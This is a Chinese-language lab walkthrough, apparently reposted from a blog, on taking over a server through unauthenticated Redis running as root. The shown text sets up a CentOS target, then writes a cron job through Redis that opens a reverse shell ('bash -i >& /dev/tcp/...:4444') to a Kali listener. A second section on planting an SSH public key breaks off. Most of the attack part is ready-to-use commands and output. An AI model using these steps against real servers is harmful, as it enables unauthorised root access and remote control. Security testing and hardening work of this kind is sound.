0x00 简要说明

百度百科:Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

Redis因配置不当可导致攻击者直接获取到服务器的权限。

  • 利用条件:redis以root身份运行,未授权访问,弱口令或者口令泄露等

环境准备:

测试环境 IP
Kali 192.168.100.99
靶机(CentOS 7) 192.168.100.101

0x01 CentOS 7安装Redis

# 安装gcc
[root@localhost ~]# yum install -y gcc

# 下载解压redis安装包
[root@localhost ~]# wget http://download.redis.io/releases/redis-5.0.0.tar.gz
[root@localhost ~]# tar xvf redis-5.0.0.tar.gz

# 编译并执行安装,指定安装目录为/usr/local/redis
[root@localhost ~]# cd redis-5.0.0/
[root@localhost redis-5.0.0]#  make && make install PREFIX=/usr/local/redis

# 启动redis服务并保持后台运行
[root@localhost redis-5.0.0]#  cd /usr/local/redis/bin/
[root@localhost bin]# ./redis-server &

# 关闭保护模式
[root@localhost bin]# ./redis-cli 
127.0.0.1:6379> config set protected-mode no

0x02 通过计划任务反弹shell

利用条件:

  • redis以root身份运行
  • 未授权访问或授权口令已知

在kali中通过redis-cli -h 192.168.100.101 -p 6379连接到redis,输入以下指令利用crontab反弹shell

# cron表达式格式:{秒数} {分钟} {小时} {日期} {月份} {星期} {年份(可为空)} 命令
# 每分钟执行一次echo "haha":* * * * * echo "haha"
192.168.100.101:6379> set x "n* * * * * bash -i >& /dev/tcp/192.168.100.99/4444 0>&1n"

# 设置目录为/var/spool/cron/
192.168.100.101:6379> config set dir /var/spool/cron/

# 设置文件名为root
192.168.100.101:6379> config set dbfilename root

# 保存快照到本地
192.168.100.101:6379> save

kali中打开一个新的命令行窗口执行nc -lvnp 4444进行监听,过一会儿就能接收到反弹回来的shell:

由于redis的压缩储存机制,在某些情况下会因为反弹shell的指令被压缩,从而导致反弹shell失败:

192.168.100.101:6379> set x "n* * * * * bash -i >& /dev/tcp/192.168.100.100/4444 0>&1n"
192.168.100.101:6379> save

[root@localhost  ~]# cat /var/spool/cron/root 
* �bash -i &> /dev/tcp/192.168.100@/4  0>&1

192.168.100.101:6379> set x "n* * * * * bash -i >& /dev/tcp/192.168.100.99/4444 0>&1n"
192.168.100.101:6379> save

[root@localhost  ~]# cat /var/spool/cron/root 
* * * * * bash -i &> /dev/tcp/192.168.100.99/4444 0>&1

当运行redis的用户为普通用户时,会无法出现切换目录失败的情况:

config set dir /var/spool/cron
(error) ERR Changing directory: Permission denied

0x03 通过写入SSH公钥远程连接

利用条件:

  • redis以root身份运行
  • 未授权访问或授权口令已知
  • 服务器开放SSH服务且允许密钥登录

在kali中使用ssh-keygen -t rsa生成密钥:

将生成的公钥文件保存到本地:

┌──(root
    

  
内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/loongten/p/15838580.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!